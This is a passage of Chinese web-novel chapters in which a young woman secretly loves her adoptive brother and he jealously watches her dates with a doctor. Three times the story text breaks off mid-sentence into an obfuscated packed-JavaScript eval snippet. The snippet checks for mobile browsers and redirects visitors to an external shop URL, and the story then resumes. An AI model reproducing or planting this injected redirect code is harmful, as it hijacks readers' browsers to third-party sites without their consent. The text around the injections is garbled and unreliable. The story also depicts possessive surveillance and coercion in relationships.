他给她穿衣服,穿鞋,触摸着她滚烫的身体,听着她几乎烧昏了头出现了幻觉的喃喃自语,两只手都发着抖。 “若若,你看看哥,我们去医院。” 杜若枫终于睁开眼,意识清醒了一瞬,汹涌的眼泪顿时落下来,她哽咽着,眼神迷茫:“哥……” 好像在说,你怎么在这儿,又像在控诉:你怎么才来? 那一瞬间她的委屈和难过,风暴般呼啸着朝他砸过来,愧疚把他淹没,他轻轻把人拥进怀里:“别难过了,哥哥在。” 11.Chapter 11 杜若枫在医院打了一针退烧针,然后杜少霆开车带她回家,离家一天,就又被带回去,她没拒绝,但比以往要沉默客气一些。她主动说:“你忙,不用一直陪我,让静姨住家里吧。” 没有预留保姆房,但有一个客房,杜少霆沉默许久,才点了头:“好。” 静姨跟了杜家十几年,从还在旧宅的时候就在了,杜若枫从记事起就是静姨在照顾,说起来比杜少霆还要早一点来家里。 “小姐,怎么给自己搞成这样子呀。”静姨一进门,东西都没来得及放,先过来帮她把滑落在地上的毯子捡起来给她盖好。 杜少霆已经走了,被杜若枫以自己要睡了赶走的。 其实没睡,只是不想看见他,这会儿窝在客厅沙发上看电影。 有一天自己竟然会觉得跟他待在一起不知道怎么办,也是稀奇。 杜若枫笑了笑,看着静姨,突然就很想妈妈。 如果爸妈还活着多好,他们一直知道该怎么办,哥哥也不用这么操心,或许就不用这么压抑痛苦了。 “静姨我没事,突然把你叫来真是不好意思,孙女该想你了吧。”她说,“你把她带来也行,还热闹一点。” 杜若枫脾气很好,但总是莫名带着几分疏离,静姨忙摆手:“那怎么行,小孩子没分寸的,有人照顾她,您甭操心了。您就是心太善,总替别人着想,什么都自己扛着,自己舒服了才最重要呀。您和少爷对我够好了,我还有什么不满足的,能替您做点事我不知道多高兴呢,您太客气了。” 心太善…… 杜若枫都快信了。 她每天表演着关切、热心,有时候更像是一种既定的程序,她内心里冷漠荒芜,真正关心的只有杜少霆,但对他,也充满了占有和算计。 我其实是个很坏的人。 她在心底评价自己。 其实今天杜少霆的一切反应都在她预料之中,看他痛苦难受她就舒心,善良?她跟心善怎么也不沾边才对。 静姨的孩子都结婚生子了,前几年给她生了个孙女,杜若枫还包了个大红包,那小孩她见过几次,乖乖的,很爱笑,看起来总是很开心。 那会儿杜若枫说:“我以后也能生个女儿就好了。” 杜少霆拧着眉教训她:“你才多大,我可不想那么早当舅舅。” 舅舅……杜若枫脑海里想的,其实是和他的孩子,闻言顿时垮了脸,因为他一句话,莫名联想到他可能将来会和别人结婚生子,那不如杀了她算了。 因为这句话,她好几天没理他。 他只当她闹小孩子脾气,只是哄着惯着,但也不是很在意她到底因为什么闹。 …… 杜若枫生了病,只能窝在家里发呆,脑海里反反复复想的都是她和杜少霆那点事。 越想越觉得失望。 或许他说的对,她把目光放在他身上太久,以至于给两个人都套上重重的枷锁,他痛苦,她也好过不到哪里去。 “裴医生,你周末有空吗?”杜若枫给裴舒朗打电话。“想谢谢你,请你吃个饭。” “小枫你太客气了,我也没帮上什么忙。不过我很愿意和你一起吃饭。” “那说好了,我到时候发你地址。” 几天后。 马上过年了,到处张灯结彩,梁思悯跟季旸出国度假去了,路宁最近跟她老公闹脾气,被收拾了,这几天都没出门。 “周承琛这种控制欲强又古板闷骚的,床上多半不是人,可怜我们小路宁,遇上个大变态。”程叙来家里看她,说起这个,表情浮夸。 杜若枫笑:“你又知道了?” 程叙跟梁思悯比较熟,路宁和杜若枫是后来才跟他熟悉,但相处这么多年,也算是共同好友了,他创业开了家情/趣用品公司,致力于研究男女床事,每天兴致勃勃开发新品,然后打包送给各位亲朋。 只杜若枫每次拒收,表示自己还是黄花大闺女,用不到。 “单身才更要用好不好?怎么能缺少科技温暖的陪伴,自己一个人更要幸福快乐。” 他像个无良销售,见缝插针地推销自己的成果。但他也有点怕杜少霆,生怕被这位妹控狂魔追着砍,所以从不敢强求。 这次是路宁和梁思悯都不在,程叙才来骚扰她,他公司最近在研究s/m道具,送了她一套小皮鞭和一些杜若枫叫不出来名字的捆啊绑啊的东西,质地柔软,倒也比杜若枫以为的要温和许多。 “你就不能找点有需求的帮你试?你给我有什么用,我给谁用?我总不能自己捆自己。” 程叙叹了口气:“唉,你不懂,我只是在向我的朋友分享我的成就和喜悦,你们的见证对我来说意义重大,你收着嘛,总有一天会用得上的,你哥要是问起你就说是……剧组道具呗。这多好看啊,简直就是艺术品。” 程叙跟家里关系一般,自从创业做这个之后,家里更是觉得他有辱门楣,恨不得跟他断绝关系,所以他大概只是孤独寂寞,找个借口跟朋友联系吧! 作为和哥哥相依为命但却因为抱着一些见不得光的想法而时常感到孤独无助难以宣泄的人,杜若枫能理解那种复杂难言的情绪,于是她接受了这些东西,放进卧室里,找了个隐蔽处藏了起来,虽然也没人会进她屋子,但她自己都觉得别扭,还是藏了藏。 腊月二十八,马上就是除夕,程叙送完东西,就说要去舅舅家吃饭了,杜若枫送他离开,然后去赴和裴舒朗的约。 杜若枫没叫司机,让程叙送他过去的。 裴舒朗已经到了一会儿了,坐在餐桌前,神情略显恍惚,不太相信,杜若枫会主动约他,以至于看到杜若枫朝他走过来,坐下,才稍微有点实感。 “我以为你会一直拒绝我。”裴舒朗微笑,“想约你吃饭,真的是很难一件事,我都不敢抱期望了。” 他没装模作样,直白地把两个人的关系挑明了:我追过你这么长时间,没办法把你的邀约当成普通的朋友相聚。 杜若枫早就退烧了,但脸色看起来还是苍白,可苍白也漂亮,美得惊心动魄,也很有距离感,以前还有点想法,后来裴舒朗都觉得自己有点不自量力。 杜若枫看着他,嘴角挂着很淡的微笑,等他说完,低声说:“其实我挺喜欢你的……” …… 杜少霆出差东欧三天,行程密集到挪不出一顿饭的时间,但还是见缝插针地全方位关心一下妹妹的饮食起居身心健康。 司机保镖会汇报她每日行程,恨不得具体到几点几分几时几刻去了什么地方跟谁见了面说了什么话。 静姨的经验更丰富,知道杜少霆就连杜若枫每天喝了几次水吃了几口饭都要清楚,于是每天汇报的信息更是具体到餐后水果吃了几口。 林森跟在他身边,把这些都尽收眼底,委婉提醒一句:“杜总,我那天看到一句话,是说学会放手,是父母一生的课题。杜小姐不小了,您这样会让她太依赖您的。” 杜少霆蹙眉,一脸你懂什么的表情:“她就是太独立了,才会什么人都敢往她身上扑。” 他刚知道裴舒朗和杜若枫一起吃饭的消息,正气不顺。 那东西也配,软骨头一个,当初被他吓一吓就屁都不敢放,就他那点家产,都不够给若若买辆车。 他现在在做什么? 哦,医生,是个很光荣的职业,但可惜那点工资给她零花估计都不够。 身高也凑合,站起来也就比她高半头,将来生个孩子随了他也是个丑。 不能忍。 “她真那么说了?”杜少霆第四次问保镖。 保镖第四次回答,声音都不是很自信了:“大……大概是,小姐不允许我们靠太近,也可能……听岔了。” 其实我挺喜欢你的…… 不可能。 杜少霆烦躁地拧着眉,看了林森一眼:“你老婆怀孕了是不是?” 林森实在不清楚话题怎么突兀转到自己身上的,但还是垂眸应了声“是”,“已经生了,孩子三个多个月了。” 杜少霆每天贵人事忙,倒还记得下属的私事,恍然道:“也是个姑娘,我想起来了。” 林森点头:“是的,杜总,我跟您说过,您还给孩子包了红包的。” 虽然是秘书准备的,但以他的名义,就代表着关切了。 杜少霆一副过来人的样子,语重心长道:“女孩子操不完的心,你以后就知道了,你金尊玉贵养着,什么癞蛤蟆都想上来舔一口。” 林森:“……” 无言以对,只能沉默。 他在内心吐槽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061781|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对您来说,大概全世界的男的都是癞蛤蟆。 您这有一百万能给杜小姐花一百万,自己去喝西北风还要担心给的不够的,谁比得上? “裴医生还是不错的,年纪轻轻就是主治医师了,去年还评上了衍城十佳青年,未来可期。” 杜少霆用两个字杀死了比赛:“丑,矮。” 林森再次沉默了。 宋思明出道后以美貌著称,演技欠费到辣眼睛都还是收获了一众的迷妹,可见那张脸还是相当权威的,而裴舒朗和他有六七分像,样貌上几乎没什么短板,唯一的短板大概是眉眼间距略宽,显得人不是很机灵。 杜若枫晚上接到消息,说杜少霆七点的飞机到机场,大概八点到家,说给她带了礼物,问她吃饭没有,想吃点什么,他顺路带回去。 杜若枫等林森讲完了,才微微撇了下嘴,八成是静姨告状她晚饭没吃,他才会这么问。 “不用,我晚上和朋友约了饭,大概十点左右才回来,他回来就好好休息吧。” 林森颇有些意外,以往每次杜总出差回来,杜小姐都会很开心,不管在做什么,都会第一时间回家,这还是第一次明明在家,知道他要回来还选择出门。 “跟裴医生约了吗?”林森说出口后忍不住咬了下唇,完了,说漏嘴了。 杜若枫倒是浑不在意,“嗯”了声,“他搬新家,我去给他暖居。” “这……不好吧?”林森急切道,“这么晚了,不能白天再去吗?” 杜若枫只是平淡说了句:“已经约好了。” 林森沉默了好几秒,开口:“那好的,您注意安全,随时跟……跟保镖或者我保持联系,还有您顺便吩咐一下阿姨煮点养胃的粥,杜总他胃病犯了,不肯吃药,您知道的,他脾气犟,我也拿他没办法。” 挂了电话,林森无助地看着杜少霆,总觉得他下一秒就要冲去裴舒朗家里把他乱刀砍死了。 “大晚上的暖什么居,姓裴的是有什么病?”杜少霆刻薄道,“大过年的不跟家里人在一起,乱约什么。把他电话和地址给我。” 林森一个头两个大,只能安慰:“杜小姐知道您胃病犯了,不一定会去的。” 应该……吧!如果真走了,林森不敢想今晚会是什么腥风血雨。 杜总这人发起病来才不管什么道德礼仪,在杜若枫的事上他向来不吝啬手段。 “多事,你跟她说这个干什么。”杜少霆成功被转移了注意力,但却又蹙起眉,因为这个胃上的毛病她没少跟他闹,觉得他不爱惜自己,他每次都忍着,从不在她面前表现出来。 林森心道,自己不是急的昏了头,也没有更好的办法了,不然她真走了,你今晚还睡的着吗? 人一起吃个饭你都把人从头到脚批得体无完肤,真进了家门,不得追上门去砍人。 一路上,杜少霆都没敢问保镖她出门没有。 怕她真走了,又怕她没走。 他回家,站在门口停顿了好几秒,才打开房门。 客厅是暗的,他垂着眸,叹了口气,才换鞋进门。 那一瞬间觉得自己像个空巢老人,突然意识到,如果哪天她真的嫁人了,自己大概就是这么度过一辈子了吧,每天毫无期望地推开门,然后一个人孤独终老,或许每天还要提心吊胆,担心她在外面过得不好,担心那人不够包容体贴不会照顾她,担心她不幸福、不快乐…… 一想到这些,他就像失去了浑身的力气,换个鞋换了三分钟,才拖着沉重的躯体站起身。 走了两步,绕过玄关才发现餐厅灯亮着,他缓慢而迟疑地又往前走了两步。 杜若枫正在熬粥,表情有些懒散地靠在那里翻看平板的食谱教程,察觉到脚步声,抬头看了他一眼,看到他脸色很差,误以为他胃疼得厉害,有点生气说:“也不知道有多少工作要忙,你以为自己是机器人吗?” 冷风从他周身极速退去,砂锅氤氲的热气仿佛吹到了他的胸口。 “……别听林森瞎说,我没事。”他沉默许久,才开了口。明知故问,“不是要去朋友家?” “好多人呢,不差我一个,我怕静姨拽不住你,你坐那儿,喝点粥才能走。” 杜少霆看她略显严肃的脸,不禁笑了声。 “好。” 12.Chapter 12 两个人上次一起坐在餐桌前吃饭是几天前,可杜若枫却觉得像是上辈子的事了。 杜少霆安静喝粥,杜若枫坐在对面,陪着他吃了点。 这几天雪停了,天气更是冷得要命。 室内温度也上不去,她穿着针织毛衣,整个人看起来柔软又安静。 小时候还是挺活泼的,越长大变得越沉默。 都说女孩子长大了是会变化很多,可杜少霆有时也不懂,究竟是他没照看好,还是单纯长大了。 心事也变重了,不爱说话了。 正这么想,杜若枫就开了口:“裴舒朗你还记得吗?” 杜若枫和宋思明高一的时候是同班同学,后来他去了国际班,就不在一起了。 裴舒朗和宋思明是亲兄弟,裴要大两岁,但后来也是同班同学,因为他从小跟着爸爸和继母在国外住,高中才回国,也不知道有什么想不开的,非要接受一下高考的摧残,就和杜若枫同班了。 杜若枫和他一个班一整年,甚至都没说过几句话,只记得他就坐在她身后,那会儿杜若枫记得自己跟他说的第一句话就是:“你是宋思明哥哥?” 俩人长得太像了。 宋思明妈妈跟前夫离婚的时候还怀着孕,孩子生下来算在继父头上了,连宋思明都是亲爹回国后才知道自己其实不是亲生的。 这狗血离奇的家庭关系被人捅破后,学校里还当八卦传播了好一阵。 裴舒朗听到杜若枫的问话,大概下意识以为她也是看乐子的,略带防备地抬眼看她。 杜若枫只是笑了下:“怪不得这么像。” 再之后,俩人就没怎么说过话。 一直到高考完,一次百来号人的大聚会,玩游戏,他隔着人群直直看向角落里的杜若枫:“我喜欢你。” 正在嗑瓜子的杜若枫愣了好久,说了句:“谢谢。” 周围人没人敢起哄,认识杜若枫的就没人不知道杜少霆。 她这个哥哥威名远播,从小到大跟个煞神似的隐没在她身后,但凡招惹杜若枫的,都没有什么好下场。 裴舒朗大概也没有期望她能回应什么,说完就算了,话题很快翻过去,场子继续热闹。 再后来好像也没什么交集,直到大学报道,她偶遇来她学校闲逛的裴舒朗,才知道他报考了隔壁医科大。 “不会是因为我吧?”杜若枫直接就问了。 裴舒朗倒是慌张得结巴,解释说不全是。 杜若枫却读懂了潜台词:的确是。 于是她正式拒绝了他:“我不喜欢你。” 他反而轻松地笑了:“我知道,是我自己的事,跟你没关系,你不用有负担。” 算起来,大概也就这么点交集。 杜少霆何止记得,关于她的事,她周边的人,他了解的要比她自己要清楚得多得多,他那时候草木皆兵,但凡出现在她四周的,恨不得查个底掉,只是顾及她年幼且心善,从来不在她面前提这些。 他对裴舒朗没什么好感也是因为太了解他和他的背景。 这会儿听她这么问,几不可察地拧了下眉,但还是点了头:“嗯。” “他现在在衍大一附院心外科。” “嗯。” “性格还挺好的,感觉一起生活不费劲,那天一起吃了顿饭,以前没发现,他说话挺有意思的。”杜若枫笑了笑,语气平静温和没有丝毫赌气的成分在,像是真的放下了,“就是感觉他太忙了,我还是喜欢能经常陪我的。哥你觉得他怎么样?帮我参考参考。” 杜少霆吞咽了口唾沫,在林森那里刻薄嘴毒的,面对妹妹倒礼貌绅士起来,思忖片刻,说:“挺好的,但身高感觉差一点。” 杜若枫笑:“我也没有很高吧,他目测一米八几,挺高了。你怎么比我还挑剔。” 杜少霆不语,半晌才又说:“你喜欢就好。” 她如果这时就说喜欢,杜少霆还会觉得她没认真,可她想了下:“再接触接触吧,不过目前不讨厌,他今天约了很多人暖居,我还给他准备了礼物,不过没去成,我又不想送了。” “为什么?准备了什么。” “是高达模型。他喜欢那个,但我觉得我第一次送他礼物,还是送点中规中矩的,太投其所好显得郑重。” 杜少霆看她态度认真,情绪越发沉重。 他沉默不语,既无法附和,也说不出诋毁的话。 杜若枫看他吃差不多,收了餐具,放进洗碗机,手机一直在响,她摸出手机聊天,不知道看到了什么有趣的,露出笑容,一边打字一边回自己房间:“我睡了哥,你也早点休息。” “好。” 他失神片刻,开口说“晚安”的时候,杜若枫已经进房间了。 杜少霆连轴转了几天,却怎么也睡不着。 头痛欲裂。 他起身,打开电脑,投入工作,凌晨两点苏薇接到邮件通知的时候,正和朋友在酒吧打算通宵,那邮件只告知她要处理的事件,显然并不紧急,她放下心,忍不住跟周围吐槽:“我老板,简直就不是个人,就没见过比他更热爱工作的人,卷王中的卷王,我都怕他再努力下去,直接坐地为王了。” 杜少霆本来没胃疼,可等他折腾到凌晨,真的胃里发冷发疼起来,他吞了片药,终于躺下睡着了。 睡不踏实,总做梦。 梦到父母刚去世那会儿,杜若枫前所未有的脆弱,可周围的魑魅魍魉恨不得把她吃了,于是她来不及悲伤,就被迫成长。 有一天她说想吃福记的点心,他带她去买,偏僻的小巷子,她坐在后座,一边吃一边哭,他不知道怎么安慰她,心疼到无法呼吸,最后把她揽进怀里,轻拍她的后背。 她扒着他的肩,失身痛哭,问他:“哥,你会离开我吗?” 他说:“不会,永远都不会离开你。” “不要骗我。” “不骗你。” 那时他说的永远,到现在依旧没有变。 ——今晚回一趟老宅。 他四点才睡,六点又准时醒了,发消息给杜若枫。 一贯爱睡懒觉的她,这会儿却醒着,回他:好。 又问:我去跑步,一起? 他应了好,换了套运动服,拉开门的时候她已经在客厅了,笑吟吟看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066626|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他:“我打算辞职了,明年回衍城工作,哥你给我投点钱呗。” 她语气带点撒娇,但丝毫暧昧都没有,好像真的回到了小时候,把他当个可以依靠的哥哥。 可明明是他期望的,内心却始终无法高兴起来。 “投多少?”他说,又改口,“走流程,报给评估组去评估。” 杜若枫撇嘴:“我还以为你会无条件支持我。” “钱可以给你随便花,但生意是生意。”杜少霆手搭在她后颈,推着她往外走,“你想要我无条件支持你?” 杜若枫摇摇头:“那倒也不是。” 她说完突然神色严肃了点,公司的事她是全放手的,全权交给杜少霆打理,但从某种意义上来说,杜少霆并不具备公司的控制权,所以很多时候总有人想要挑衅他一下。 “听说你想卖了永盛?姓杜的那群人都不同意吧。” 两个人一起下楼梯,她侧头看他,问。 她不是两耳不闻窗外事的人,很多事放手不管不代表不闻不问,但她很少来问他,一方面是不想给他施压,一方面是她不想管,相信他能处理好一切。 这次来问,杜少霆有些意外:“嗯,你也觉得我不该卖?” 杜若枫摇头:“我觉得你早该卖了,不赚钱的东西留在手里是个随时会爆的炸弹,赔钱的东西更该早点处理。我应该早点提醒你的,你就是怕我留恋吧?没有的事,父母留下的东西不多,对我来说都珍贵,但人都死了,也就不必强行赋予死物什么意义,我更在乎你。” 她看着他,表情认真:“哥,我只有你了,你过得好对我来说更重要。” 杜少霆揉了揉她脑袋:“知道了。” “我想把股份转一部分给你。”她说。 他手上股份很少,很多事做起来都不方便。 “不要,自己留着。” 下了楼,空气潮湿冷冽,两个人走了一会儿热身,才跑起来。 上次这么一起出来跑步,已经想不起来是什么时候了。 但以前她总跟不上,今天却跟得很紧。 “若若。”最后,他突然叫住她。 两个人缓慢停下脚步,并肩走着。 “嗯?” “慎重考虑一下裴舒朗,”他本来不想说的,可最后还是没忍住,“家庭关系太复杂。” 几年前他就已经查的清清楚楚。 没有预料中的追问或者反问,她笑了下,点头:“嗯,知道了哥哥,你放心,我有分寸,我会慎重考虑的。” 杜少霆持续蹙眉。 而杜若枫持续剜他的心:“哥,这些年辛苦你了,你给自己也放个假吧。或者,也谈个恋爱,你这么忙,以后有了嫂子,该埋怨我了。” “什么时候轮到你来□□的心了。”杜少霆跑步回家,留给杜若枫一个背影,“操心你自己就行了。” 杜若枫也跑步跟上,清晨的冷风刮在脸上,但她心情却似乎不错,她追问:“感觉你脸色怎么不太好,生病了?” “没有。”他话少得可怜,第一回完全不想和她讲话。 没一句他爱听的。 13.Chapter 13 “这天气去跑步,真有闲情逸致。怎么,人逢喜事了?”路宁打过来电话的时候,杜若枫刚洗完澡。 “我能有什么喜事?”杜若枫擦着头发,脑袋趴在屏幕前盯着里面的人看,“倒是你,面色红润,精神饱满,是吃饱了吗。” 那当然不是吃饭吃饱的意思。路宁脸红了一瞬,说:“xing生活都没有的人,研究起来倒是一套一套的。” 程叙说周承琛那种人最变态了,强势霸道控制欲强的人,床上也强势,而且平日里自控力太强,很容易在这方面失控变态。 而且根据路宁的种种反应,显然程叙分析得很精准。 其实路宁还挺满意的,她性格优柔寡断一些,反而会对强势引导型性格的人吸引,床事上也一样。 “……不就那回事。”杜若枫体会不了,她确实是个空有理论的纸上谈兵派,年少时候情动的对象就是不应该的人,于是连做个春梦都觉得像是亵渎。 她落寞一瞬,也很为自己感到不值,但还是嘴硬。 “差别可大了。”路宁满腹怨气,“表面越斯文禁欲的人,可能越变态,你可千万要小心,我觉得……那谁,很有那个潜质。” 她省略的主语显然是说杜少霆。 杜若枫撇撇嘴:“可我觉得他八成性冷淡。” 上学时候班上的男生荷尔蒙萌动的样子,杜若枫没少见过。 她从小到大追求者也不少,很清楚男人开屏时候的状态,但她从来没在杜少霆身上见到过任何一丁点苗头。 没见过他对女生感兴趣。 所以即便他偶尔绯闻缠身,她都没太大的反应,很大一部分原因就是他在所有男女关系里都是游离的状态。 当然,也包括自己。 他对自己……好像没有什么感觉。 这让她很沮丧。 路宁“啧”了声:“生理需求是写在基因里的,要么藏得深,要么有隐疾,你选一个吧。” “那我希望他不举吧。”杜若枫思考片刻。 “你好狠毒啊若若。” “是的,我是个坏女人。” 路宁被戳中笑点,但也忍不住规劝她:“若若,要不……放过自己吧。其实你俩真的不太好走到一起去。” 这世上有太多的枷锁,人有欲望,就会被欲望困住,人有渴求,就会被不可得困住…… 杜少霆和杜若枫,是众所周知的兄妹。 不管他们在不在一个户口本上,哪怕整个杜家都心知肚明,也没人敢戳破,那是一种微妙的平衡。 她不掌权,他不控股,杜家其他人捞不到便宜但还能喝口汤。 大家就这么稀里糊涂地过下去,对谁都好。 他平衡这么多人的利益本就不容易,如今越来越强势,压的所有人都不敢吱声,看起来跟个唯我独尊说一不二的暴君似的,但就像平静的火山口,一旦有一簇小火苗,就可能整个点爆。 外面早就在传杜少霆是杜家的养子,但没掀起什么风浪,可如果他俩在一起了,那势必会彻底戳破,然后把陈年旧事连根拔起。 那并不体面的起因。 他那十分不堪的过往。 被不是杜家人压了这么多年的杜家其他人,势必也会想方设法趁机把他踢出局。 就算这些杜若枫不在乎,杜少霆不可能不在乎。 他这么多年一路拼杀,有时到了不择手段的地步,就是为了保住她拥有的一切,给她最好的物质条件,这是他答应过爸妈的。 如果毁在他自己手里,他一辈子都不会原谅自己。 他就是这么个只要是杜若枫的事他都背在身上的人。 要他越界,比杀了他还难。 而且只有杜若枫还知道一个很隐秘的原因,杜少霆的亲生父母早没了,但年少时候养过他一阵的叔叔婶婶还活着,他们曾试图勒索杜少霆,被他无视了,后来有次找到杜若枫这里,但被杜少霆截下来了,据说他们在医院养了半个月才出院,后来试图联系记者爆料搞臭他,也被杜少霆压下来了。 最后不知道怎么样了,但再也没有过消息。 杜若枫没过问过,但大概能猜到,过程大约不是很光明。 不可控的因子太多,他不会容许自己一个错误的决定,把她架起来烤。 挂了电话,杜若枫发了会儿呆,想起很多事、很多人,从小到大她有点太依赖他了,以至于很多时候不怎么动脑子,好像只要他在,一切问题都会自然而然地被妥善解决。 哥哥是无所不能的。 她曾经以为是。 杜若枫无聊,突然把程叙送她的情趣用品搬出来把玩,做的很艺术,就算放在桌面上摆着也不算不得体。 但这东西,她大概一辈子也用不上,其实她连削想他的时候都很克制,仿佛亲近一分都算亵渎。 可这样仿佛横亘着一个银河系的关系,怎么就一步一步沦陷至此了? 其实她也费解。 她甚至都记不太清自己到底做过关于他的春梦没有,因为面对这些情/色用品,她竟然无法联想到任何暧昧的场面。 她有些烦躁,也懒得收拾,直接扔在沙发上就回房间睡觉了。 静姨十点钟过来帮她收拾屋子,顺便准备午餐,看她睡了,就没打扰她,只是把那堆东西收拢起来,摆在客厅的桌子上。 杜少霆一大早吃完饭就走了,开车去找梁思谌。 “杜少霆你是不是有病?”梁思谌被吵醒的时候,恨不得一榔头敲姓杜的头上,大年二十九还试图跟他谈工作,也不知道是哪国的总统,这么日理万机。 其实是杜少霆嫌杜若枫吵得他头疼,就跑来他家骚扰他,顺便商量云港合作的事宜。 梁思谌在爸妈家里,没请他进去,直接钻进他车里:“出去说。” “你小妹在家?”杜少霆倒是习以为常。 “嗯。” 梁思谌爸妈就一双儿女,但他还有个名义上的妹妹,叫云舒,是家里老保姆的孩子,保姆在家里挺多年,后来意外去世,留下个小女孩孤苦伶仃,梁家就把她留在家里照看了,虽然没有领养手续,但也当是亲生的照看。 说起来,倒是跟他处境有点像,但杜少霆觉得自己的情况要更复杂一些。 云舒也是学医的,但比裴舒朗要聪明很多。 想到这里,杜少霆便更气不打一处来。 到底看上裴舒朗什么? 不要杜若枫眼高于顶,至少也要挑剔一些,结果她倒好,熟悉才几天,就要给人送礼物。 “你又强迫你妹了?你小心遭报应。”杜少霆看他这会儿似乎才刚起,差不多就知道发生什么。 梁思谌和云舒倒是另一个极端。 梁思谌各种威逼利诱人家跟他好。 虽然他拒不承认,他觉得自己只是在帮她做决定。 梁思谌没否认,只是笑了下:“下地狱我也认了。” 杜少霆点点头,叹为观止。 他没再跟他继续掰扯,就云港的事跟他沟通一下,又谈了些别的,聊完工作又聊些闲话,也才过去两个小时,但他也没有继续留的理由了,于是只好把他送回去,然后告辞。 他其实还想再躲一躲,但最后还是回家了,舍不得留她一个人,也看不得她失落。 只是今天一回家就被静姨叫住了。 “少爷,那个……刚沙发上有东西,我收拾好了,但不知道怎么处理。” 说着,把一个箱子推过来。 静姨实在是第一回遇见这种事,家里就小姐在,她理智上认为应该是小姐的,但又觉得不可能……下意识就要找杜少霆解决。 杜少霆看见,只觉得一口气差点没倒腾上来。 杜若枫醒过来的时候,找静姨要了点甜品吃,然后问:“静姨你把我东西收哪儿了?” “啊,我以为是少爷的……我跟他讲了,少爷他帮你收起来了。” “哥你见我东西了吗?”他推开他房门,靠在那里问他,表情坦荡。 杜少霆抬眸盯着她看了片刻:“我帮你收起来了。” “在哪儿?” “若若……”看她不依不饶,丝毫不觉得有什么问题,他蹙眉,表情严肃地说,“谁给你的?” 他一副不知道谁带坏她,敢让他知道是谁他死定了的样子。 “哥,”杜若枫觉得有点好笑,做出一副无奈的样子,“我又不是小孩儿了,你别这样……”她耸了下肩,大胆发言,“我这个年纪的同学结婚离婚又再婚的都有了,只有你还觉得藏点玩具是个事,你自己不用吗?你是修士啊,还是人吗你。” 她话说得坦荡,但其实嘀嘀咕咕根本不敢说给他听。 说完她就关了门。 东西被他收起来了,杜若枫找了好几圈都没找到。 估计在他房间里,杜若枫撇撇嘴,老古板。 于是回老宅的时候,杜若枫赌气跟他冷战,可杜少霆闭口不提这件事,只一味地岔开话题,叮嘱她晚上不论听到什么,都不许生气。 爸妈谈不上白手起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17071730|194816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,家业是从爷爷那里继承来的。 可爷爷那辈儿家族企业就式微了,各家为了争家产打得头破血流,爷爷那会儿受不了兄弟相残,自己出来单干,倒是比家里其他人都要出息,可斗惯了,看不得别人过得比自己好,家里联合打压,爷爷好几次差点被压得起不来,最后还是回归了家族联合企业。 家里关系错综复杂,恨是恨的,互相帮衬也是真的,利益感情纠缠在一起,算不清。 到了父亲这辈,跟本家的关系就更势同水火了,公司能做到这程度,说一句全靠自己争气不为过,但要说毫无关系,那也是不能的。 爸妈突然去世,留下一只肥羊,谁都想来啃一块儿肉再走。 最过分的时候杜若枫恨不得把他们都杀了。 可最艰难的时候,也被拉过一把。 她不是个功过能相抵的人,对那些人没什么好脸色。 可奶奶还活着,念旧情,年纪大了又吃斋念佛信轮回和因果,割舍不下亲情。 所以即便对他们都没有什么好印象,但逢年过节还是会回老宅吃顿饭。 每年杜若枫都不是很愉快,因为他们总是会想方设法挤兑杜少霆,敲打他要知恩图报不要忘本。每次都能把杜若枫惹毛。 不过今年倒是有了新节目。 一群人突然和颜悦色起来,大概是知道杜少霆很难被道德绑架,开始转变其他策略了。 “少霆,你年纪也不小了,该成家了。没有喜欢的女孩子?” 杜少霆蹙眉:“不急。” “怎么能不急,都说先成家后立业,你这么忙,往后会越来越不想考虑个人问题,有个家庭还是不一样的,好过你这么孤寡地应付日子。” 杜少霆已经在发火的边缘了,这回杜若枫却看起戏来,跟着添乱:“哥你喜欢什么样的女孩子,我可以帮你物色。” 杜少霆深深看她一眼。 回去的时候,他蹙眉跟她说:“你跟着裹什么乱。” “关心你,你不喜欢我,也不喜欢别人吗?” 她如此坦荡地说出“你不喜欢我”,杜少霆反而不知道怎么接话,索性沉默。 “还是你有什么隐疾?没事,咱家有的是钱,你不要讳疾忌医,不举也不是什么大毛病,大多都能治的。”杜若枫表情认真,语气十分殷切诚恳。 “小姑娘家也不害臊,操什么不该操的心,我没病。” “我都喜欢自己哥哥了,我还怕害臊?”这句话说得含糊,也不知道他听见没有,反正他没再讲话。 杜若枫也燃尽了,没话说了,索性闭着眼假寐来缓解气氛的尴尬,可没想到真的睡着了,做了个梦,梦到自己追着蝴蝶在跑,一个飞扑,摔到了草丛里。 草丛真软啊,像真皮坐垫,把她紧紧包裹着。 她猝然惊醒,原来是车子急转弯,把她摔进杜少霆怀里了,他抬手托抱住她,还没来得及松开。 她闭着眼装没醒,有些贪恋地躺在他怀里。 